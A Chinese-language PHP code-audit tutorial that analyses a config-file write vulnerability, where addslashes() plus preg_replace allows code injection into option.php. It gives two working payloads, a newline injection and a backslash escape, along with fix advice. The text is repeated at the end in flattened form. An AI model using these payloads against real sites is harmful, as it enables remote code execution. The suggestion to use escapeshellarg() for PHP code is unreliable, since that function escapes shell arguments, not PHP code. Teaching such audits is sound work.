【代码小审计 PHP篇】Challenge 2
字数 1088 2025-08-18 11:36:57

PHP代码审计教学:Challenge 2 - 配置文件写入漏洞分析

漏洞背景

本案例展示了一个典型的配置文件写入漏洞,通过不安全的正则替换操作导致任意代码执行。这种漏洞常见于需要动态更新配置文件的场景中。

漏洞代码分析

原始代码

// index.php
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*?\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
// xxxxx/option.php
<?php
$option='test';

代码功能解析

  1. 从GET参数option获取用户输入
  2. 使用addslashes()对输入进行转义处理
  3. 读取option.php文件内容
  4. 使用preg_replace()进行正则替换,将原配置文件中的$option='...'替换为新的值
  5. 将修改后的内容写回option.php

漏洞原理

正则表达式分析

正则模式|\$option=\'.*?\';|匹配$option='...'这样的字符串,其中:

  • .*?表示非贪婪匹配任意字符
  • 单引号被转义匹配

替换操作的问题

替换字符串是硬编码的"\$option='$str';",其中$str是用户可控的输入。虽然使用了addslashes()进行转义,但在特定情况下仍可绕过。

漏洞利用方法

方法一:利用换行符注入

  1. 第一次请求:

    ?option=aaa';%0aphpinfo();//
    
    • 经过addslashes()后变为:aaa\';%0aphpinfo();//
    • 替换后文件内容:
      <?php
      $option='aaa\';
      phpinfo();//';
      
  2. 第二次请求:

    ?option=xxx
    
    • 替换aaa\xxx,文件变为:
      <?php
      $option='xxx';phpinfo();//';
      
  3. 访问/xxxxx/option.php执行phpinfo()

方法二:利用反斜杠转义

  1. 请求:

    ?option=aaa\';phpinfo();//
    
    • 经过addslashes()后变为:aaa\\\';phpinfo();//
    • 替换后文件内容:
      <?php
      $option='aaa\\';phpinfo();//';
      
  2. 访问/xxxxx/option.php执行phpinfo()

漏洞修复建议

  1. 严格验证输入:对option参数进行严格的白名单验证
  2. 避免动态代码生成:考虑使用JSON或INI格式的配置文件
  3. 使用安全函数:如escapeshellarg()替代addslashes()
  4. 限制文件权限:确保配置文件目录不可直接访问
  5. 使用完整正则匹配:确保替换不会破坏文件结构

学习要点

  1. addslashes()的局限性:不能完全防止代码注入
  2. 正则替换的安全隐患:动态构建正则替换字符串的危险性
  3. 配置文件写入的常见漏洞模式
  4. 换行符(%0a)在代码注入中的作用
  5. 反斜杠转义的特殊处理

扩展思考

  1. 如果配置文件使用双引号而非单引号,漏洞利用方式会有何变化?
  2. 如何设计安全的配置文件更新机制?
  3. 除了PHP代码注入,这类漏洞还可能导致哪些安全问题?

此案例展示了即使是简单的配置文件更新功能,如果实现不当也可能导致严重的安全问题,强调了输入验证和安全编码的重要性。

PHP代码审计教学:Challenge 2 - 配置文件写入漏洞分析 漏洞背景 本案例展示了一个典型的配置文件写入漏洞,通过不安全的正则替换操作导致任意代码执行。这种漏洞常见于需要动态更新配置文件的场景中。 漏洞代码分析 原始代码 代码功能解析 从GET参数 option 获取用户输入 使用 addslashes() 对输入进行转义处理 读取 option.php 文件内容 使用 preg_replace() 进行正则替换,将原配置文件中的 $option='...' 替换为新的值 将修改后的内容写回 option.php 漏洞原理 正则表达式分析 正则模式 |\$option=\'.*?\';| 匹配 $option='...' 这样的字符串,其中: .*? 表示非贪婪匹配任意字符 单引号被转义匹配 替换操作的问题 替换字符串是硬编码的 "\$option='$str';" ,其中 $str 是用户可控的输入。虽然使用了 addslashes() 进行转义,但在特定情况下仍可绕过。 漏洞利用方法 方法一:利用换行符注入 第一次请求: 经过 addslashes() 后变为: aaa\';%0aphpinfo();// 替换后文件内容: 第二次请求: 替换 aaa\ 为 xxx ,文件变为: 访问 /xxxxx/option.php 执行 phpinfo() 方法二:利用反斜杠转义 请求: 经过 addslashes() 后变为: aaa\\\';phpinfo();// 替换后文件内容: 访问 /xxxxx/option.php 执行 phpinfo() 漏洞修复建议 严格验证输入 :对 option 参数进行严格的白名单验证 避免动态代码生成 :考虑使用JSON或INI格式的配置文件 使用安全函数 :如 escapeshellarg() 替代 addslashes() 限制文件权限 :确保配置文件目录不可直接访问 使用完整正则匹配 :确保替换不会破坏文件结构 学习要点 addslashes() 的局限性:不能完全防止代码注入 正则替换的安全隐患:动态构建正则替换字符串的危险性 配置文件写入的常见漏洞模式 换行符( %0a )在代码注入中的作用 反斜杠转义的特殊处理 扩展思考 如果配置文件使用双引号而非单引号,漏洞利用方式会有何变化? 如何设计安全的配置文件更新机制? 除了PHP代码注入,这类漏洞还可能导致哪些安全问题? 此案例展示了即使是简单的配置文件更新功能,如果实现不当也可能导致严重的安全问题,强调了输入验证和安全编码的重要性。